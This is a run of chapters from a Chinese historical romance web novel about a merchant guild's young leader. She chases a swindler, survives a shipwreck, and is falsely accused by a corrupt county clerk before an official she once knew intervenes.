《死对头说要报恩》 1. 狼狈为奸 《死对头说要报恩》全本免费阅读 岸上纤夫扬起手中棒槌,“噔”的一声敲响边锣。 “行船靠岸,避!” 一艘客船靠岸,左舷缓缓靠上码头,船上的船夫抛下缰绳,岸上的纤夫立默契的拉住,合力将船绳栓在木桩上。 待到船身稳当,卸下一块船栏杆,取出一块木板横着嵌入缺口处,船上的人便踩着木板走上码头,流入建州来来往往的人群中。 唯有一对年轻男女逆流而上。女者衣装不菲,但却是窄袖小口短制比甲,下身虽为裙装,但颜色却又并非年轻姑娘一般偏爱的水红或杏黄,唯裙褶处银绣蝴蝶纷飞,添上几分利落的灵动。 立在船侧的船夫注意到她,不由得扬声道:“姑娘,这可是去定南的船,别上错了船走错了路咯。” “错不了。”乔怀潇摆手,轻轻一跃,略过那块吱呀作响的搭板,踏上了船。 等到陈所得交了两人的船牌,上船时,乔怀潇已经走到了船里侧。 从后看来,虽然乔怀潇是瘦削的,但身影没有丝毫柔弱的痕迹,只见她旋身一转,拉住了身旁男人要掉下的包袱。 被她碰到的男人先是惊得一跳,随后看了乔怀潇两眼,方才镇定下来,虚拱了拱手,“姑娘好身手。 “这包袱里的豆饼被压得潮了,这才想着来甲板上晒晒。”男人将包袱揽进怀里,拍了拍上面的灰。 乔怀潇笑了笑,眼神不在那灰不溜秋的过分的包袱上停留,伸手一指男人腰间挂着的玛瑙貔貅小坠,“这坠子倒是别致的很,我从未见过,你从哪买的?” 男人眼睛一转,“这是我跟着商队从波利带回来的,姑娘在咱们大庆自然是不曾见过。” 陈所得从后走来,正好听见了这话,他的眉头一跳,近来同波利做过珠宝生意的,只有他们要找的那人。 “哦?那还真是个稀罕物件了。”乔怀潇扭头,对上陈所得的视线,转了转身,“你看我今儿这身是不是太灰扑扑了些,得添个宝石坠子才行。” 二人目光相接,陈所得心下了然。 而男人见乔怀潇的衣装不菲举止又率性妄为,只当她是个不知柴米贵贱的富家小姐,眼中不禁出现笑意,老天厚待啊,在这船上也让我再赚一笔。 他便立刻清了清喉咙,“鄙人名为连成,正好就是做这珠宝生意的,今日姑娘你真是赶巧了,我此番就是从波利进购了珠宝,正要回定南售卖,姑娘要是有兴趣,不如随我入客舱看看,水晶玛瑙各类宝石都有,保管有姑娘钟意的。” “那还真是巧了。”乔怀潇笑起来,“快带路吧。” 汪成连叠声应道,领着乔怀潇和陈所得入了他住的房舱。 “船上屋子简陋,姑娘莫要见怪,快坐。”汪成连看着二人坐下,方回身关了房门,从包袱中掏出一个布袋,展开在乔怀潇的面前,指着里面的一对水晶耳坠道,“姑娘请看,这白水晶耳坠天然去雕饰,正衬得姑娘清肌玉骨,姿色天成,姑娘可喜欢?” 乔怀潇捻起耳坠看了起来,汪成连则暗自得意,心中已经在琢磨待会报上个平时三倍的价格了,若是这两头肥羊要还价,那就两倍价格卖出去,左右都是赚的,还能惹得姑娘软言感激。 但不料,乔怀潇看了两眼便撇开眼去,无甚兴趣,“说得好听是天然去雕饰,不过粗糙不堪精琢罢了,无趣。” 汪成连干笑了两声,搓了搓手,“也罢,姑娘是识货的,今日你我二人也是有缘,鄙人也就不藏私了。” 汪成连从布袋中又取出一根坠着绿松石的链子,递了过去,但却是被乔怀潇冷着脸挡了回去,“原以为会是些奇珍异玩,却都是些俗不可耐的东西。” 乔怀潇作势起身,陈所得也在此时说道:“咱们还是快些回去,这什么绿松石白水晶的,往日拿来簸钱玩乐也就算了,做成首饰你能戴得出去?” 拿宝石来簸钱玩乐?汪成连心下顿时又惊又疑,眼神上下打量乔怀潇二人,“我这儿自然有别处都寻不到的宝物,就是不知道姑娘是不是诚心买了。” 乔怀潇嗤笑一声,“你觉得我买不起?” 陈所得默契的上前一步,从袖中取出荷包,对这汪成连露出里面满满当当金灿灿的金子,“今日出门急带的少” 汪成连双眼放光,“腾”的一下站起来,“这,这……” “咱们真是有缘分!”汪成连一拍掌,转身将那个灰不溜秋的包袱放上桌,他小心翼翼的解开,取出包在旧衣服里的一个盒子,盒子上了锁,他又从袖口掏出一把钥匙来插上。 “姑娘看好了,这可是波利特产的金珠。”汪成连轻手轻脚打开盒子,檀木盒子里软布上放置着十颗金珠,饱满圆润无比,“我知晓姑娘是见过世面的,但珍珠多为白色,这金珠只有波利独产,此番购置这批珠子,也是花了我的一番心血了。” 汪成连扬唇笑道:“我可是诚心想要做成姑娘这番生意的,不知姑娘想买几颗?” 他盯了盯陈所得手中的荷包,又道:“不过恕我直言,此物有市无价,今日你我二人有缘,我才忍痛卖给姑娘一颗,当然,姑娘这些金数也只能买走一颗。” “噔”岸边纤夫敲鼓的声音突然传来,外头一阵骚动,不知是谁上了船,随后船身微微晃动,船尾的大桨动起来,船又重新在水面上启航。 “姑娘可想好了?”汪成连抿了一口杯中冷茶,侃侃而谈,“我做生意向来最讲诚信,姑娘也不必担心,我们毕竟还是在一条船上,我也不会坑蒙了你。” “我全要了。”乔怀潇出声道。 “什么?”汪成连愣了愣。 “这些金珠我全要了。”乔怀潇仍是笑着,语气却不容拒绝,“不过我不付你一分钱,我们以物易物。” 汪成连皱紧眉头,“你开什么玩笑?!” 乔怀潇微侧了侧头,陈所得便将一物扔上了桌,桌上壶中的茶水被震得溅了出来,汪成连定了定神才看清,那是一块茶砖。 “我用八百斤茶砖换十颗金珠。”听到茶砖二字,汪成连的心猛地坠下谷底,还不待他反应,乔怀潇便一脚将汪成连踹翻在地,“就是早年间茶马司卖散茶,八十斤茶便可换得一匹上等马了,如今开了互市,我用八百斤茶砖向波利商买十颗金珠,你汪成连倒是打得一本万利的好算盘,分文不出就想把我这金珠卷走?你可真是让我好找啊。” 汪成连反应过来,“你是雁帮的人!”他立刻手脚并用的爬起来,朝着桌上的金珠扑去。 陈所得早在看见金珠的时候就确定了,汪成连就是卷走了他们从波利那买的金珠的人,此时早有所防备,一把掀起将桌上的布袋,狠狠砸向汪成连的脑袋。< 2. 女侠饶命 《死对头说要报恩》全本免费阅读 两岸青山对望,耸起的高峰在河面上留下黑影,本就湍急的河流看上去显得更深了。而在这奔腾而下的河水中,一艘大船逆流而上,距他们所在客船已经不足一里! 船客顿时没了看热闹的心思,恐慌之色在众人的脸上赤裸裸的显露出来。 天地之间水声,风帆声,还有船主的厉声大喊:“那是官府北上运粮的粮船,舵手,快转向避开!” 舵手“噔噔噔”的跑过甲板到了舵楼里,三两个人双手紧紧握住舵柄南向捩转,额头上豆大的汗水滚落,青筋暴起。下一刻,所有人都能明显感觉到船头的倾斜。 船身左舷压入水中,右舷翘起,乔怀潇尽力维持着自己的平衡,就在她刚要扶住身边的陈所得的时候,一道大力将她扯了过去,她抬起头,只能看见谢昱行锋利的下颌角。 他攥着她的胳膊,格外用力,乔怀潇来不及多想,一个大浪对着船拍过来,水都灌上了船舱,船的吃水立刻又深了些。 “大人,快抓住缰绳。”书礼冲到谢昱行身边,那几个侍从也涌了上来,把谢昱行护在中间。 乔怀潇被他们挤开了半步,她垂下眼睛,不动声色的挣开谢昱行的手。 “小帮主,这船……”陈所得还没说完,船上就响起一阵阵尖叫,骚乱不可避免。 “快避开!”还有船客不知何时拿起锣鼓敲起来,“对面的船快避开,避开!” 对面粮船上的水手都聚集在甲板上转舵,卷动缰绳侧起帆来,但收效甚微。粮船看上去就像一个行动迟缓的老人,即使脑中有了转向的想法,但仍不可避免的朝客船袭来。 乔怀潇眉间一跳,只见粮船的船头径直撞上了客船的右舷,两船相撞之间传来木板截截断裂的声音。客船的右侧不断的朝水下压去,船上所有人都不由得脸色煞白,他们立即就想到了这艘船最后可怕的结果。 船长的呼吸也不稳起来,他身体发软,靠住桅杆,“船尾有浮囊,不会水的去拿好。” 听见这话,船客们纷纷疯狂的朝船尾奔去。 乔怀潇收回目光,转头看向陈所得,“跳船。” “啊?小帮主你确定吗,这水看起来很深,况且这离岸边还有距离。”陈所得咽了咽口水。 风声呼啸,回应他的是乔怀潇的纵身一跃。陈所得一愣,随即咬牙跟着跳了下去。 其实在入水的前一刻,乔怀潇还能听见谢昱行沉稳的声音,“浮囊由妇孺先拿,两人一个,漂浮的木板也可取之所用……” 但当整个脑袋都沉入水中时,一切声音都被隔绝在外。于是她什么都不想,只攒着一口劲朝岸边游去,只在抬头换气时扫一眼河岸的方位,不至于游错了方向。 身边有水流划动的声音,乔怀潇扭头看了一眼跟在后面扑腾的陈所得,她扯过飘在河面上的断木板,把木板推向陈所得。 陈所得这才得到喘息的机会,趴在木板上大口换气。 而乔怀潇继续朝前游去,她能明显感觉到水流的速度变慢了,这是个好消息,意味着河水的深度在变小,她们就要上岸到达安全的地带了。 但就在这个时候,水下突然伸出一只手来,狠狠的朝下压乔怀潇的小腿,乔怀潇本来探出水面的头被迫扎入水中,鼻子猛地呛进了水。 人一旦呛水,第一反应就是剧烈的挣扎,但胡乱挣扎只会加快体力的消耗,汪成连早有准备,一双手死死按住乔怀潇想要浮上去换气的动作。 河水并不清澈,汪成连没办法在水中完全睁开眼睛,但他能明显感觉到乔怀潇挣扎的幅度在不断变小。在他眼里,此时的乔怀潇不过是砧板上脱水的一条鱼,早晚会咽气。 终于,面前的女子力气全消,直到她的身体开始慢慢下沉,汪成连这才松开桎梏,转而朝朝乔怀潇放了金珠的怀中探去。 “哗啦”在听到这样的水声时,汪成连顿时感到不妙,他不得不在水下睁开眼睛,只见原本已经开始下沉的乔怀潇游动起来。她在水中轻盈的展开,细白的手腕如铰链一般扼住了他的行动。 乔怀潇一把扯过汪成脸的头皮,毫不犹豫的将他朝水底按去,汪成连开始拼命挣扎,但更让他心惊的是乔怀潇的力气实际上远比他的力气要大得多。 陈所得原本见到乔怀潇身边突然冒出个不怀好意的人头,而等到他着急忙慌的赶过去时,乔怀潇早已反客为主,手里抓着汪成连的脑袋,一下把他拎出水面,一下把他沉入水底。 河水反复的灌入鼻腔,汪成连的意识开始模糊,瞳孔也开始涣散,他仰望着乔怀潇,只能看见她下巴的轮廓,他动了动嘴,声音却尽数堵在了喉咙内。 就在汪成连以为自己死定了的时候,他的左脸迎来坚硬的实感,他蜷起手掌,握住了一把沙石。 新鲜的空气涌入,汪成连呕出一口水来,一边咳,嘴里还在不断念叨。 陈所得没想到乔怀潇放过了汪成连,他跳上岸去,凑近了才听出汪成连喊的是:“女侠饶命,女侠饶命……” 乔怀潇脸上没什么表情,她浑身湿透,黑色的头发贴在肩头,径直踹了一脚汪成连,“去最近的府衙还有附近人家报信,让他们来救落水的人。” “多谢女侠饶命,我,我这就去……”汪成连劫后余生,哆哆嗦嗦的应是,也顾不上肺里的水有没有咳干净了,踉踉跄跄的朝有人烟的地方奔去。 乔怀潇则从草丛里扯出一根粗壮的藤蔓,把藤蔓系在离河边最近的树干上。陈所得明白了她的意图,赶紧帮着她把藤蔓扔进河里。 河面上已经有人随着她们刚刚的路线朝岸边游来,藤蔓立刻就派上了用场,原本游得力竭的人拉住藤蔓,陈所得便把他们拉上岸。 陈所得从河里拉上一个男子,轻“咦”一声,“这不是刚刚那个什么官身边的侍从吗?” 话音未落,乔怀潇已经走了过去,她蹙着眉头,“你家主子呢?” 被拉上岸的男人跪倒在乔怀潇的面前,“大人去救粮船上的人了,我 3. 假的 《死对头说要报恩》全本免费阅读 远山如黛,水天一色,但恬静的江景早被打破,庞大的漕船和客船在不停的朝水下沉去,河面上有不少人趴在浮囊和木板上飘着,冲着岸边挥手求救。 汪成连领路带来的村民已经放下了小舟去救人,他止步在草丛之后,悄悄透过草叶间的缝隙看去,没有看见那个雁帮的女人,而那个砸了自己脑袋的男人也和村民一起上了小舟。 汪成连松了一口气,手脚发软,顿时一屁股坐在地上,先前被恐慌所压下的四肢的痛意都浮现出来,他转了转酸疼的脖颈,不停的咳出肺部的水。 但下一秒,汪成连惊骇的立马捂住了自己的嘴,硬生生把咳嗽压了回去, 村民的小舟返回靠岸,他一眼就看见了雁帮的那个力气大得吓人的女人!她怎么从小舟上下来?汪成连屏住呼吸,小心看去,在她后面是两个人扶着一个半昏迷的男人,汪成连搓了搓眼睛,被搀扶着的那个人,不就是船上被他拦住的大官嘛。 这么说,在他去搬救援的时候,那女人又去救了那个大官? 汪成连觉得有哪里不对,又说不出具体哪里不对,再拨开草丛朝那望去时,那一行人都没了踪迹。 此时的书礼和侍卫掺着昏迷的谢昱行,已经跟着村民走进了树林,他们必须要尽快穿过林子到村子里找大夫。 又念及身后跟着的乔姑娘,书礼侧头朝后说道:“乔姑娘,今日还好有你,不然大人就危险了,待会到了村子里,姑娘一定要记得喝碗姜茶驱寒。” 后边只有脚踩在草地上发出的轻微“吱呀”声,书礼只当乔怀潇还是介意当年的事情,于是自顾自笼络道:“乔姑娘,以前还不知道你的水性这么好,你是什么时候会的水?” 他话音刚落,一阵急促的脚步声传来,书礼看着疾步走到他身边的侍卫报告道:“乔姑娘不知道什么时候走了。” 书礼扭头朝后看了一眼,身后没有乔怀潇的踪影,连带着她身边那个看起来不太聪明的小子也不见了,他瞪了一眼侍卫,“蠢货,看个人都看不住。” 不过这一点也怨不得侍卫,毕竟乔怀潇和陈所得走南闯北,开溜这点小事,两人只要一对上视线,就各自心领神会了。 两人绕开谢昱行一行人,朝着另一个方向走去,只是陈所得还是不太明白,“你为什么要游回去救他?” 乔怀潇沉默着没有回答。 陈所得又想到汪成连,“还有那个汪成连,就这么放过他了?” 汪成连那个人乔怀潇是纯粹忘了,她现在心里莫名的烦躁,她自顾自捡起地上的一块石头,拿着手里掂了掂重量。 “啊。”陈所得一拍掌,“我知道了,你是想回去自己动手解决他们两个是不是!他们以为死里逃生结果你还在后头等着他们,吓也得把他们吓死了,妙啊妙啊!” “我们是商帮又不是□□。”乔怀潇终于忍不住抚了抚额头,“闭嘴。” 陈所得识相的住了嘴,但见乔怀潇猛地扬起拿着那块石头的手,下一秒狠狠砸向了那个放有金珠的盒子。 “你在干什么!”陈所得大喊出声。 乔怀潇十分镇定的把金珠平铺在地上,接着拿起石头再次砸过去,“都是假的心疼什么。” 陈所得愣了愣,立刻又不冷静了,“假的?你是说我们花八百斤茶砖买的都是些假的金珠!” 乔怀潇点头,她砸碎一颗金珠,看到它四分五裂开来,她便伸手扒拉两下,接着又砸下一颗,陈所得看着她的动作,明白了什么,“你在找什么?” 乔怀潇砸到了最后一颗,才从中找到了一张很小的油纸字条,陈所得探头过去,只能看见一列端方的小字,看不清上面的内容,问道:“纸条上写了什么?” “一个故人的消息。”乔怀潇看完把纸条放进了怀里。 “就这?”陈所得大失所望,先不说八百斤茶砖买来的金珠全被砸碎,就说这一路上追查汪成连的辛苦,乔怀潇还差点被那汪成连害死在河里,结果最后就得到这么一张小纸条。 陈所得以为至少该是个惊天秘闻才是。 但乔怀潇半蹲在地上,陈所得看着她,看着她发尾还是湿的,心里说不出是什么意味,他又看着一地狼藉,最后只能说出一句,“帮主要是知道了你干了什么,要生你气。” “放心,不会让他亏的。”乔怀潇重新站起来,走在陈所得的前面。 她们走在一条小径上,路的尽头连接着宽广的乡道,太阳高悬,阳光尽洒,陈所得回头看了一眼那一地的金珠碎片,阳光在零落的金粉上闪着光。他收回目光,小跑着跟在乔怀潇的身后,“我们去哪儿?” “建州府吴城县。”乔怀潇的双手背在身后,仿佛刚刚露出的落寞只是陈所得的错觉,她慢悠悠的朝前方走去,昂首道,“八百两茶砖算什么,我们就在吴城赚回来。” 吴城内,主街道上行人如织,车马穿梭,雁回茶铺前来了两个陌生的男女。 管事的掌柜打了两下算盘,一抬头,就见到了乔怀潇亮出来的的雁帮令牌,眼皮猛地一跳,他赶紧走到乔怀潇跟前,“小帮主,您怎么来啦,这……”他的目光又忍不住在乔怀潇皱的出奇的衣服上停留。 “不小心落了个水。”乔怀潇的语气就像喝了杯水一样简单。 王掌柜却吃了一惊,“落水?!这建江的水可深呢,好多船都在这沉过,您没事吧?” 他又立刻转头朝后边喊了一声,“阿朵,快来带小帮主去换身衣服,喝杯姜茶。” 被王掌柜叫出来的是一个年轻的姑娘,扎着两个小髻,眼睛圆溜溜的看着乔怀潇,却是对着陈所得喊道:“小帮主,这边请。” 眼见着阿朵认错了人,王掌柜脸色一凝,赶紧朝乔怀潇赔不是,“小帮主见谅,我这女儿实在呆笨了些。” 他又转头朝阿朵使了个眼色,“阿朵,这位姑娘才是小帮主。” 阿朵的脸顿时红了起来,怯生生的看着乔怀潇,“小……小帮主,这边走。” 乔怀潇朝王掌柜摆了摆手,跟着阿朵朝后走去。 王掌柜则看着他们的背影,不禁皱紧了眉头,大庆茶政宽松,雁帮主要是在和波利接壤的长平买卖茶叶,把在南方茶田的茶叶运到长平卖出去,再把长平买到的波利商品运到南方来卖,建州不是定南,雁帮在这儿生意极其一般,这尊大佛怎么会来这儿呢。 他不知道的是,其实乔怀潇选择吴城的原因很简单,只是因为吴城很近罢了。 乔怀潇跟着阿朵进了后院的一间屋子,陈所得站在门外。 “小帮主,坐。”阿朵说完,立刻转身打开衣箱,从里面拿出一件素白长裙,递过去,“这是新的,小帮主换上吧。” “多谢。”乔怀潇点了点头,拿起衣服转身到房间内侧去换衣服。 阿朵忍不住盯着她瞧,心底还是有些奇 4. 自不量力 《死对头说要报恩》全本免费阅读 吴城县衙内,县令理了理官帽,刚走到台前坐下,一阵吵嚷声就从县衙门外传来。 被押进来的是一个年轻女子,县令徐锦扭头看了一眼身边的人。 梁师爷神色未动,转而朝下喝道:“徐县令在此,还不跪下?” 他话音刚落,衙役便扬起手中的杀威棒,一下打在乔怀潇的膝窝处。 从茶田到府衙,这一切都发生的太快了。在乔怀潇听见自己膝盖骨撞在地上的声音时,她竟然还没有什么感觉,当她不得不用双臂抵在地上稳住身形时,痛意不断浮现出来,而等到她听到被拦在府衙外的陈所得几人呼喊的声音,膝盖处的痛意钻入了骨头。 她抬头,徐县令的一段话就砸了下来:“乔怀潇,你意图拦截漕船意图盗粮,你可知罪!” 乔怀潇的脑中是一闪而过的空白,但却不是因为被这一棒被吓晕了头,她的视线落在坐在台前的县令身上,一张国字脸上细纹纵横,但怎么瞧,既不是瞎眼,也不是耳聋,怎么会说出如此荒谬的话? 她蹙着眉头,缓缓道:“虽然不知大人所说的漕粮被盗是何事,但大历律法民女却是熟知的,盗漕粮乃是重罪,民女绝无可能做出这种损人不利己的事情。” 徐县令的目光闪了闪,还没等他说话,他身边的梁师爷就抢先道:“油嘴滑舌!你说你不知漕粮之事,那我问问你,你昨日是否在建江客船上,是否遇到了迎面而来的漕船?” 乔怀潇的目光转而投向梁康,“我昨日是在客船上,但客船被粮船撞沉,这是有目共睹的事情。我为什么要劫漕粮,又凭什么劫漕粮?” “凭什么?你不是那个什么……”梁师爷转了转眼睛,仿佛刚想到似的一拍掌,“你是雁帮的小头目,自然是想偷漕粮去卖,当然不是你亲自动手的。” 乔怀潇一口气堵在心里,将将就要发作,“官府办案也不能……” “证据!”梁师爷又一拍掌,“你想说证据是吧,我有,来人,把人带上来!” 陈所得被衙役们拦在门外,他扒在门栏外,看见从角门处,一个中年男人被压入了堂内。 乔怀潇刚要说话,梁师爷伸手挡了挡,他仰着下巴道:“你别说你不认识他,他却认识你。” “小子,说说你是谁?在漕船上看见了什么?” 跪倒在地的男人低着头,一字一句道:“我本是漕船上的漕丁,负责看管粮船上的漕粮,那天就正好撞上潜入漕船刺探情况的她,就是她,用石头往我头上砸,把我给砸晕了。” 男人一边说,一边拨开自己头顶的头发,露出一个暗红色的伤口。 徐县令走到他身旁看了看,点头,“这就是石头砸的伤,不过你确定看清了,就是乔怀潇砸得你?” 男人笃定的点头,“一定是她。” 乔怀潇扯出一抹冷笑,“你再好好看看,你确定是我打的你?” “你还想威胁证人翻供不成,乔姑娘,人在做天在看,你还是认罪吧,还能争取宽大处理。”梁师爷上前一步。 “他说是我打的他,你们难道不仔细看看清楚吗?伤口上的血痂都要掉了。”乔怀潇指着那人头顶的伤,“这样大的伤口,少说也要三五天才能结痂,而他昨天受了伤,今天伤口就已经结痂了?难不成是他天赋异禀,伤口愈合的速度都比常人要快上许多吗?” “这就是康师爷所谓的人证?”乔怀潇凛冽的目光扫向他,“不足以服众吧。” “我可以当她的人证!”陈所得在此时大喊道,站在他身边的王掌柜和阿朵顿时看向他。 “陈哥。”阿朵担心的小声喊了一句。 陈所得给他们一个安抚的眼神,大步跨进衙内,“昨日我和她在一起,我可以做人证,撞船之后,我们一起游到了岸边。” “我们身上带着雁帮的货物,为了保全雁帮的货物,我们两个早早就游到了岸边,什么沉船什么漕粮,和我们通通没有关系。那一船的漕粮都比不过我们的货,我们没有必要舍近求远。” “货?什么货?”梁师爷的眼睛亮了亮。 乔怀潇暗道不好,刚要阻止陈所得,他却已经脱口而出,“我们和波利商人购得的十颗金珠,当时在船上的船客都知道,你大可以去问幸存的船客。” 陈所得话音刚落,便见梁师爷抬起手来,“给我搜他们两个,看看他们说的金珠是真有此事,还是为了脱罪胡诌的!” 堂内两边站着的府兵立刻将乔怀潇和陈所得围了起来,堂内一阵骚乱,阿朵被这场面吓得不轻,却突然听见身边传来一声冷哼。 “商和官斗,自不量力。” 阿朵正要问这是什么意思,却听闻里面又传来梁师爷的大喊,“果然是你乱说的,哪有什么金珠,只有这么一张纸条。” “我看看,上面写的是……”梁师爷从乔怀潇袖中抽出一张纸条,把上面端正却又写得有些奇怪的字一个个念了出来,“为已所好为之事,不必顾忌,一切安好,勿念。” 乔怀潇的神色一僵。 “看看,这不就是证据。”梁师爷一脸得意,双指夹着纸条拍上乔怀潇的脸,“这就是你和你手下密谋的证据,你有人证,但是我不是说了吗,劫漕粮未必要你亲自动手,你手下当然可以替你去办。” 梁师爷一脚踹在陈所得的胸口,“说,她安排你去的还是叫什么人去的,快点交代。” 乔怀潇的双手被人反扣在身后,她盯着被握在梁师爷手中的纸条,又看着陈所得捂住胸口倒在面前,只觉得怒气直攻上心头,“刚刚还说是我拿石头砸了漕丁的头,现在又说是我派人去的,前后如此不一。” “敢问县令!这府衙究竟是您拍板还是这小人做主,由得他胡说八道?” 徐县令的国字脸上倒是踟蹰了一刻,耳边的梁康喋喋不休,“大人,漕粮可是大事,要我说,现在就该斩立决,以儆效尤,才能免得刁民效仿再犯!” 乔怀潇双掌推开衙役的桎梏,她慢慢站起来,心底有十分的愤怒,脸上却只显露出十分的平静,只有她的眼眸异常的黑沉,“大历律法凡当死者,部案奏闻,帝亲临问,无异词怨言,你一县衙竟然敢斩立决,嚣张至极。” 梁师爷听见她这话却放狂大笑起来,“律?法?你抬头看看这是何处,这就是律,这就是法!” 县衙内回荡着梁康不可一世的声音,阿朵呆呆的看着场上的所有人,她扯了扯王掌柜的袖子,“阿爹,我们快帮帮小帮主。” “这……”王掌柜陷入了为难。 身边那道男声又响了,“现在只有一个人能救得了她。” 阿朵立刻转头看向说话的男人,只见他 5. 发誓 《死对头说要报恩》全本免费阅读 乔怀潇有些摇摇欲坠,她在感到自己脑中冷热交杂的一瞬间就预感不好。 但她以为自己会摔在地上,却意料的落入了一个温暖的怀抱。 乔怀潇并没有完全失去意识,她能明显感受到自己被托起,被裹挟进一个温暖的怀抱,她闭着眼,鼻尖嗅到了一股熟悉的气息。 “快把吴郎中叫来。” 说话声和脚步声交错,乔怀潇被带进一所宅院,她听到了门被打开的声音,随后她感到自己被放在了床上。 床沿上的纱幔被风微微带起,床上躺着的人额间的碎发以相同的弧度微动,谢昱行的视线再移到她轻颤的睫毛上,嘴角勾起一抹不易察觉的笑意。 而在谢昱行意识到不妥前,他已经伸出了手,指尖触碰到了乔怀潇的额发。 下一秒,乔怀潇朝床里侧偏了偏头,只有他的手顿在原地。 不知道过了多久,乔怀潇听见了离开的脚步声,胸腔微微下落,像是松了一口气,她睁开了眼睛。 阿朵很快带着郎中进来了,见到乔怀潇靠坐在床上,立刻小跑了过去,“小帮主,你已经醒啦,腿疼不疼?还有什么地方不舒服吗?” 乔怀潇说道:“还好,昨天落水着了凉,今天急火攻心才觉得头晕,不用担心。” “落水之后还是要好好调理,免得落下病根,待会我为姑娘抓点草药来煎服。”吴郎中替乔怀潇把了脉,来的路上就听阿朵说了乔怀潇身上的伤,于是又从随身带着的药箱中取出一瓶药膏递过去,“这是活络膏,对外伤有奇效,姑娘待会擦上。” 乔怀潇伸手接过,她的手指如葱段般纤长,但露出掌心时,吴郎中却有些意外,她的虎口关节处均有老茧,像是常年习武留下的印记。 “多谢郎中。”乔怀潇从他手上取过药膏。 吴郎中回过神来,又嘱咐了几句才退了出去。 阿朵小声道:“小帮主,我帮你上药。” 乔怀潇点了点头,官员们为了立威弄出来杀威棒,都说一棒下去就能灭掉犯人的气焰,没想到今天自己也试了一遭。 她撩开裤腿,现在看起来伤口还只是淡淡的青色,但依照过往的经验,明日一定会变成一成片的青紫色。乔怀潇眼中有一闪而过的晦暗。 阿朵低着头,挖出药膏小心的涂上去,乔怀潇摸了摸她的头发:“今天你的反应真快。” 阿朵捏了捏袖口,脸上出现被夸奖之后的小小羞涩,“那个梁师爷一直就很嚣张,之前想低价买我们茶田,阿爹不卖,原来在今天等着,竟然敢找证人做伪证,故意诬陷小帮主,真是太坏了。” 她说完,突然一拍脑袋,“对了!今天这事还要多谢一个人,他还提醒我去找逸国公来救你。” 乔怀潇抬起头:“是谁?” “那人说他叫……”阿朵拼命在脑海里回忆,终于想了起来,“他说他叫汪成连,还让我记得和小帮主你说这件事呢。” 阿朵刚说完,就听见乔怀潇笑了一声,冷冷的,她觑着乔怀潇的神色,忍不住好奇,“他是你的朋友吗?” “他是我的仇人。”乔怀潇这样说道,却又补了一句,“但也说不定。” 阿朵有些似懂非懂,但还有一件事情,她更很好奇,“原来逸国公这两天在找的人就是小帮主。” 乔怀潇侧着头,下颌角呈现一个优美的弧线,阿朵一时间看入了迷,过了一会才听见乔怀潇的声音,“最开始,我还以为是他向县令举报的我。” “怎么会!”阿朵瞪大了眼睛,“逸国公看起来人很好的,不可能做这种诬蔑人的事情!” 乔怀潇反问:“你觉得他很好?” 阿朵毫不犹豫的点头。 这下乔怀潇又笑了,没有刚刚笑得那般冷,但语气算不上好,“要小心看起来温和无害的人,或许哪一天,背后捅你一刀也说不定。” “是吗?”阿朵有点迟疑,“小帮主,这个笑话一点都不好笑。” 她以为自己在开玩笑,乔怀潇也不生气,把衣服理好,站起来,“咱们去看看陈所得。” 她们在的地方是一个民宅院落,树影横斜,连廊下的水池波澜潋滟。 谢昱行站在暗处,看着她们的背影,书礼轻手轻脚的走过去,“大人,徐县令在酒楼设宴,要向您和乔姑娘赔罪。” “他倒是能屈能伸,回绝他就是。”谢昱行想到了什么,又侧头看向书礼,“和他说,我们明日就出发定南赴任了。” 书礼有些不解,不是说三日后才走吗,又听见谢昱行说:“明日你再准备一辆宽敞的马车,让吴郎中把该用的药在吴城备齐,把这宅门关上,只留侧门,分一队人马带着东西先出城门。” 书礼不知道谢昱行这么做的目的,但是他明白了他的意思,这是要给徐县令造成他们明日就不在吴城的假象。 但是他又想到谢昱行说要让吴郎中准备好药,不禁问道:“过两日乔姑娘会和我们一起去定南吗?”毕竟那日把谢昱行救上来,乔怀潇就自顾自离开了,这次想来也不愿和他们同行。 但谢昱行的语气十分笃定,“当然。” 他伸手折下树上的一枝茉莉,洁白的花朵在指尖随风轻颤,谢昱行轻声道:“她会去的。” “你去查查雁帮。”谢昱行说完,朝前走去,和夜色融为一体。 第二天刚放晴,乔怀潇就醒了,她的手抚上心口,“砰砰砰”,心口跳的格外的快,她缓了缓才起身。 她本来想再去看看陈所得,那梁师爷的一脚踹在了他的心口上,这个地方受伤很容易造成内伤,但走到陈所得的屋子外,乔怀潇明显听到了他的呼噜声。 此时陈所得还在屋内睡得正香,乔怀潇笑着摇了摇头,转身却碰上了书礼。 “乔姑娘,大人请您一起过去用早饭。” 乔怀潇抿了抿唇,“不用了,我有事,出门转转。” 乔怀潇心底有个小算盘,自从两人相遇以来,她救了谢昱行一命,昨天谢昱行也帮了她一回,有来有回谁也不欠谁,但这笔账是个有前科的糊涂账。而对于这样的陈年旧账,重翻绝对是个最坏的选项。 乔怀潇觉得最好的结果就是,等她从天亮逛到天黑回来的时候,这宅子里面空空荡荡,就好像谢昱行从来没有出现过,陈所得会问她:“我们是在吴城再待两天,还是回长平去?” 这样多好,他继续去当他的大官,自己也继续做雁帮的小帮主。 他们两个能默契的绕开那些不愉快的往事,会省去很多麻烦。乔怀潇最怕麻烦。 乔怀潇想了又想,觉得自己避开谢昱行不见的选择十分明智,开开心心的出了门。 而在她没有注意到的身后,这座宅子的大门悄然关上,门口一队车马,高调的朝城门驶离。 吴城人口很多,靠近北方,除了沿着建江的地界,大多数地方的饮食都以肉为主,而那日在茶田上看到出产的茶叶多是绿茶,茶香有余但滋味偏淡,不是吴城人喜好的浓茶。 绿茶可以制成茶砖销往外邦,但同样可以种植吴城人偏爱的茶类在当地产当地销。 乔怀潇打算去让王掌柜试着改换茶树的种类,她 6. 跳楼 《死对头说要报恩》全本免费阅读 吴城城门,守门的士兵起了个大早,站在出城的队伍旁催促着百姓,“快走,快走,别堵在这儿。” 他打了个哈欠,远处一阵马蹄声传来,一辆华盖马车从街道上驶过来。 车夫在城门口拉住缰绳停下来,朝士兵们示意,“逸国公要出城,还不快放行。” 士兵的眼睛亮了亮,忙不迭朝后面的人挥手,“快,快让开,逸国公出城了。” 车夫重新驾起马车,微风掀起车帘,隐约可见一个男人的侧脸。 错不了,士兵收回目光,小跑着朝县令府上奔去。 在小兵奔去县令府上报信的时候,徐县令刚吃过早饭,一大碗肥鸡丝炖肉,一小碗米粥,他擦了擦嘴,站起来,“走,去看看梁康。” 逼仄的屋子里弥漫着血腥气,床板上躺着一个人,徐锦走近了些,只见梁康臀上血腥的一片,于是他停住脚步,没有再往前。 他咳了一声,“梁老弟啊,你还好吧?” 梁康双眼迷糊,喉咙干涩,只能发出些咿咿呀呀的声音。 